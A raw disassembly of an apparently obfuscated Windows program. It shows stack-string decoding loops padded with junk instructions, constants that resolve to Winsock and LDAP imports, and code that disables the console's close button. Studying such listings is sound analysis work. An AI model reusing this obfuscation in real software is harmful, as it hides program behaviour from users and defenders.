lea rdx, [rbp + 0x470]
mov rcx, qword [0x14022e168]
call fcn.1400651a0
mov byte [rbp + 0xe0], 0xfe
mov byte [rbp + 0xe1], 0x40
mov byte [rbp + 0xe2], 0xb4
mov byte [rbp + 0xe3], 0xb3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe4], xmm0
mov qword [rbp + 0xf4], rax
mov dword [rbp + 0xfc], eax
mov byte [rbp + 0x100], al
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x21
jae 0x1400bca9c
movzx r11d, byte [rbp + rbx + 0xe0]
mov edx, r11d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400bca94
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400bbf15
movabs rcx, 0xd0422b419ac67749
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
movzx esi, r11b
sub sil, al
inc sil
add sil, cl
jmp 0x1400bbf5c
je 0x1400bca20
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bc98d
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400bc958
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bc93e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bc91e
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400bc8d7
movzx r10d, bl
cmp r9, rbx
ja 0x1400bca8c
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400bbf8b
lea esi, [r10 - 3]
movzx eax, sil
and al, r11b
add al, al
sub sil, al
add sil, 0x15
add sil, r11b
jmp 0x1400bbfc0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bc8bf
inc rax
cmp r8, rax
je 0x1400bc899
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bc876
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400bc848
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400bc562
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400bc543
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400bc51a
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400bc4f4
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bc4d5
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400bc4b2
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400bc492
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400bc473
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400bc453
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400bc421
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400bbfd0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x61]
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400bca6f
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400bca52
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400bc1bf
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400bc1a3
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400bc187
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400bc3d1
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400bc384
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400bc343
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400bc318
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400bbfd0
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400bc2e7
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400bc2c7
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400bc2ab
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400bc28b
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400bc268
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400bc249
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400bc223
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400bc1fa
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400bc1db
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400bbfd0
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x3e8]
jmp 0x1400bbfd0
lea esi, [r10 - 0x5d]
movzx eax, sil
and al, r11b
add al, al
sub sil, al
sub sil, 0x75
add sil, r11b
jmp 0x1400bbfc0
lea esi, [r10 + 0x11]
movzx eax, sil
and al, r11b
add al, al
sub sil, al
sub sil, 0x77
add sil, r11b
jmp 0x1400bbf60
lea esi, [r10 + 0x7f]
movzx eax, sil
and al, r11b
add al, al
sub sil, al
sub sil, 0x79
add sil, r11b
jmp 0x1400bbee0
lea ecx, [r10 - 0x18]
movzx eax, r11b
and al, cl
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x58
add sil, cl
jmp 0x1400bc8f1
add r10b, 0x56
movzx eax, r11b
and al, r10b
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x5a
add sil, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400bbec2
sub r10b, 0x3c
movzx eax, r11b
and al, r10b
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x5c
add sil, r10b
dec rbx
inc rbx
jmp 0x1400bbec2
lea ecx, [r10 + 0x32]
movzx eax, r11b
and al, cl
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x5e
add sil, cl
jmp 0x1400bc801
sub r10b, 0x60
movzx eax, r11b
and al, r10b
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x60
add sil, r10b
add r8, r9
jmp 0x1400bc974
add r10b, 0xe
movzx eax, r11b
and al, r10b
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x62
add sil, r10b
jmp 0x1400bc974
lea ecx, [r10 + 0x7c]
movzx eax, r11b
and al, cl
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x64
jmp 0x1400bc9ad
sub r10b, 0x16
movzx eax, r11b
and al, r10b
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x66
add sil, r10b
jmp 0x1400bc9dc
add r10b, 0x58
movzx eax, r11b
and al, r10b
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x68
add sil, r10b
movzx eax, byte [rbp + rbx + 0xe0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bbec2
sub r10b, 0x15
movzx eax, r11b
and al, r10b
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x6d
add sil, r10b
mov byte [rbp + rbx + 0xe0], sil
inc rbx
jmp 0x1400bbec2
lea ecx, [r10 + 0x59]
movzx eax, r11b
and al, cl
add al, al
movzx esi, r11b
sub sil, al
sub sil, 0x6f
add sil, cl
cmp r9, 0x10
jb 0x1400bc333
lea edx, [r10 + 0x16]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea esi, [rcx*2 - 0x34]
jmp 0x1400bc8f1
lea esi, [r10 - 0x39]
movzx eax, sil
and al, r11b
add al, al
sub sil, al
sub sil, 0x71
add sil, r11b
cmp r8, 0x80
jae 0x1400bc7e8
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x1400bc731
lea edx, [r10 + 0x62]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r11b
jmp 0x1400bc35d
lea esi, [r10 + 0x35]
movzx eax, sil
and al, r11b
add al, al
sub sil, al
sub sil, 0x73
add sil, r11b
lea rax, [r9 + r8]
cmp rax, 0x40
je 0x1400bc82c
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400bc664
lea ecx, [r10 + 0x65]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
add sil, 0x3d
jmp 0x1400bc39b
sub r10b, 0x12
movzx eax, r10b
and al, r11b
mov esi, 0x3f
sub sil, al
add sil, sil
add sil, r10b
add sil, r11b
movzx eax, byte [rbp + rbx + 0xe0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bbec2
add r10b, 0x5c
movzx eax, r10b
and al, r11b
mov ecx, 0x3e
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r11b
jmp 0x1400bc9dc
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r11b
jmp 0x1400bc9b0
add r10b, 0x38
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r11b
jmp 0x1400bc974
sub r10b, 0x5a
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r11b
add r8, r9
jmp 0x1400bc974
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r11b
jmp 0x1400bc801
sub r10b, 0x7e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r11b
dec rbx
inc rbx
jmp 0x1400bbec2
sub r10b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400bbec2
lea edx, [r10 + 0x5e]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r11b
jmp 0x1400bc8f1
lea rax, [r9 + 4]
cmp r8, rax
jae 0x1400bc585
lea ecx, [r10 + 0x49]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
inc sil
jmp 0x1400bc3e8
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400bc5bf
sub r10b, 6
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r11b
movzx eax, byte [rbp + rbx + 0xe0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bbec2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bc5e7
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r11b
jmp 0x1400bc9b0
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400bc610
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r11b
jmp 0x1400bc974
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bc638
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r11b
jmp 0x1400bc801
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bc3e8
lea edx, [r10 - 0x76]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r11b
jmp 0x1400bc8f1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bc688
lea ecx, [r10 - 9]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
add sil, 0x3f
jmp 0x1400bc8f1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bc6ac
lea ecx, [r10 - 0x53]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
add sil, 0x45
jmp 0x1400bc801
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bc6d2
sub r10b, 0x2f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea esi, [r11 + r10]
add sil, 0x49
jmp 0x1400bc974
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bc6f6
lea ecx, [r10 + 0x63]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
add sil, 0x4b
jmp 0x1400bc9b0
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bc39b
sub r10b, 0x79
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea esi, [r11 + r10]
add sil, 0x4f
movzx eax, byte [rbp + rbx + 0xe0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bbec2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bc76b
sub r10b, 0xc
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r11b
movzx eax, byte [rbp + rbx + 0xe0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bbec2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bc797
add r10b, 0x3c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea esi, [rcx + rcx]
add sil, r10b
add sil, r11b
add r8, r9
jmp 0x1400bc974
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bc7bc
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
add sil, r11b
jmp 0x1400bc801
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bc35d
lea edx, [r10 - 0x7c]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea esi, [rcx + rcx]
add sil, r11b
add sil, dl
jmp 0x1400bc8f1
lea edx, [r10 - 0x58]
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub cl, al
add cl, 0x34
lea esi, [rcx + rcx]
add sil, dl
sub r10b, 0xf
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, sil
sub cl, al
add cl, 0x69
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0xe0], cl
add r8, r9
jmp 0x1400bc974
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea esi, [rcx + rcx]
add sil, dl
jmp 0x1400bc9b0
add r10b, 0x1f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea esi, [r11 + r10]
add sil, 0x27
movzx eax, byte [rbp + rbx + 0xe0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bbec2
sub r10b, 0x4d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea esi, [r11 + r10]
add sil, 0x1b
dec rbx
inc rbx
jmp 0x1400bbec2
add r10b, 0x21
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea esi, [r11 + r10]
add sil, 0x19
inc r9
dec rbx
inc rbx
jmp 0x1400bbec2
lea ecx, [r10 - 0x71]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
add sil, 0x17
jmp 0x1400bc8f1
movzx r10d, bl
lea ecx, [r10 + 0x6b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
add sil, 0x13
add r10b, 0x5f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x67
add r11b, r10b
mov byte [rbp + rbx + 0xe0], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400bbec2
lea ecx, [rbx + 0x47]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
add sil, 0xf
dec rbx
inc rbx
jmp 0x1400bbec2
lea ecx, [rbx + 0x23]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea esi, [r11 + rcx]
add sil, 0xb
add r8, r9
jmp 0x1400bc974
movabs rax, 0x5253854e70fa3191
add rax, rbx
and dl, al
add dl, dl
sub r11b, dl
lea esi, [rax + r11]
add sil, 9
movzx eax, sil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400bbec2
movabs rcx, 0xb1cf2ecb3b6d42ff
add rcx, rbx
and dl, cl
add dl, dl
movzx esi, r11b
sub sil, dl
add sil, 7
movzx r10d, bl
add sil, cl
sub r10b, 0x7d
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x6b
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0xe0], al
inc r9
add rax, r9
sub rbx, rax
lea edx, [rbx - 0x34]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xe0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xe0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bbec2
movabs rax, 0x70c681c4d05365db
add rax, rbx
and dl, al
add dl, dl
sub r11b, dl
lea esi, [rax + r11]
add sil, 3
movzx eax, byte [rbp + rbx + 0xe0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400bbec2
sub r10b, 0x13
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea esi, [r10 + r11]
sub sil, 0x7b
jmp 0x1400bbec0
add r10b, 0x5b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea esi, [r10 + r11]
sub sil, 0x7d
jmp 0x1400bbeb0
mov eax, dword [rbp + 0x15825ec]
jmp 0x1400bcaa2
mov eax, dword [rbp + 0x11e9d35]
jmp 0x1400bcaa2
mov eax, dword [rbp + 0xe0]
cdqe
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.14005ad30
mov rcx, rax
call fcn.14005ada0
jmp 0x1400ba3e0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_GetSystemMenu]
mov rcx, rax
mov edx, 0xf060
mov r8d, 1
call qword [sym.imp.USER32.dll_EnableMenuItem]
mov byte [rbp + 0x180], 2
mov byte [rbp + 0x181], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x182], reloc.WS2_32.dll_recv
mov byte [rbp + 0x183], Ordinal_50
mov byte [rbp + 0x184], Ordinal_45
mov byte [rbp + 0x185], 0x3d
mov byte [rbp + 0x186], 0xb6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x187], xmm0
mov qword [rbp + 0x197], rax
mov dword [rbp + 0x19f], eax
movabs r14, 0x759f53022757bc48
movabs r12, 0x4c1c9f0ac4b6ad68
movabs r15, 0x60ddf906760734d8
movzx r11d, byte [rsp + 0x30]
xor r13d, r13d
nop dword [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
mov rdi, r13
cmp rdi, 0x23
jae 0x1400bd642
movzx ebx, byte [rbp + rdi + 0x180]
mov esi, ebx
cmp r8, rdi
ja 0x1400bd639
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400bcbb3
lea rcx, [rdi + r14]
mov rax, rsi
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rsi
add r11, rcx
add r11b, 8
jmp 0x1400bcbf9
je 0x1400bd5c1
inc rax
cmp r8, rax
je 0x1400bd566
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bd531
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bd4ef
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bd4cb
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400bd485
movzx r10d, dil
nop dword [rax]
cmp r9, rdi
ja 0x1400bd630
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1400bcc29
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x1400bcc70
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bd46e
inc rax
cmp r8, rax
je 0x1400bd449
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bd427
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bd40b
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bd3da
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400bd0df
nop dword [rax]
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400bd0c0
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bd09b
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400bd079
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bd05d
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400bd043
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400bd027
lea rcx, [r9 + 0x42]
cmp r8, rcx
je 0x1400bcffa
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400bcc80
mov r8, rcx
lea r9, [rcx + 0x1000]
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x1400bd610
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x1400bd5f0
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x1400bce2e
lea rax, [r9 + 1]
cmp rcx, rax
jb 0x1400bce0f
lea rax, [r9 + 4]
cmp rcx, rax
jb 0x1400bcdf0
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x1400bcfac
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x1400bcf61
lea rax, [r9 + 0x40]
cmp rcx, rax
jb 0x1400bcf27
lea rcx, [r9 + 0x80]
cmp r8, rcx
jb 0x1400bcf00
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400bcc80
mov r8, rcx
lea r9, [rcx + 0x40]
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x1400bced3
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x1400bceb7
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x1400bce9d
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x1400bce81
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x1400bce6d
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x1400bce4e
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x1400bcc80
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x64]
jmp 0x1400bcc80
lea edx, [r10 + 0x18]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bcc70
lea edx, [r10 - 0x78]
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bcc00
sub r10b, 8
movzx eax, r10b
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400bcb87
lea edx, [r10 + 0x40]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bd49e
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
jmp 0x1400bd54a
add r10b, 0x70
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x10
jmp 0x1400bd54d
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x1400bd3aa
add r10b, 0x50
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x30
jmp 0x1400bd57f
sub r10b, 0x40
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x40
movzx eax, byte [rbp + rdi + 0x180]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcb73
add r10b, 0x58
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x68
mov byte [rbp + rdi + 0x180], r11b
inc rdi
jmp 0x1400bcb73
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
cmp r9, 0x28
jb 0x1400bcf17
lea ecx, [r10 - 0x50]
movzx eax, cl
and al, bl
mov edx, Ordinal_26
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x1400bd49e
lea edx, [r10 + 0x38]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x10
jae 0x1400bd376
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400bd29c
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x1400bcf3c
lea edx, [r10 - 0x58]
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r8 + r9]
cmp rax, 0x200
je 0x1400bd393
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x1400bd1cf
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x1400bcf7b
add r10b, 0x70
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x10
movzx eax, byte [rbp + rdi + 0x180]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcb73
sub r10b, 0x20
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x20
jmp 0x1400bd57f
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x1400bd3aa
sub r10b, 0x40
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x40
jmp 0x1400bd54d
add r10b, 0x10
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x70
dec rdi
inc rdi
jmp 0x1400bcb73
add r10b, 0x80
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x80
inc r9
dec rdi
inc rdi
jmp 0x1400bcb73
lea edx, [r10 - 0x10]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bd49e
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x1400bd0fe
lea edx, [r10 + 0x48]
movzx eax, dl
and al, bl
mov ecx, 4
jmp 0x1400bcfba
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bd138
sub r10b, 0x30
movzx eax, r10b
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x180]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcb73
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bd160
lea edx, [r10 - 0x10]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bd3aa
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bd185
add r10b, 0x80
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x80
jmp 0x1400bd54d
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bd1a8
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x1400bd50d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bcfc6
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x1400bd49e
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400bd1f2
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x1400bd49e
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bd221
sub r10b, 0x28
movzx eax, r10b
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x1400bcb73
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400bd238
lea edx, [r10 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400bd4fc
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bd25e
sub r10b, 8
movzx eax, r10b
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400bd547
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400bcf7b
add r10b, 0x38
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x180]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bcb73
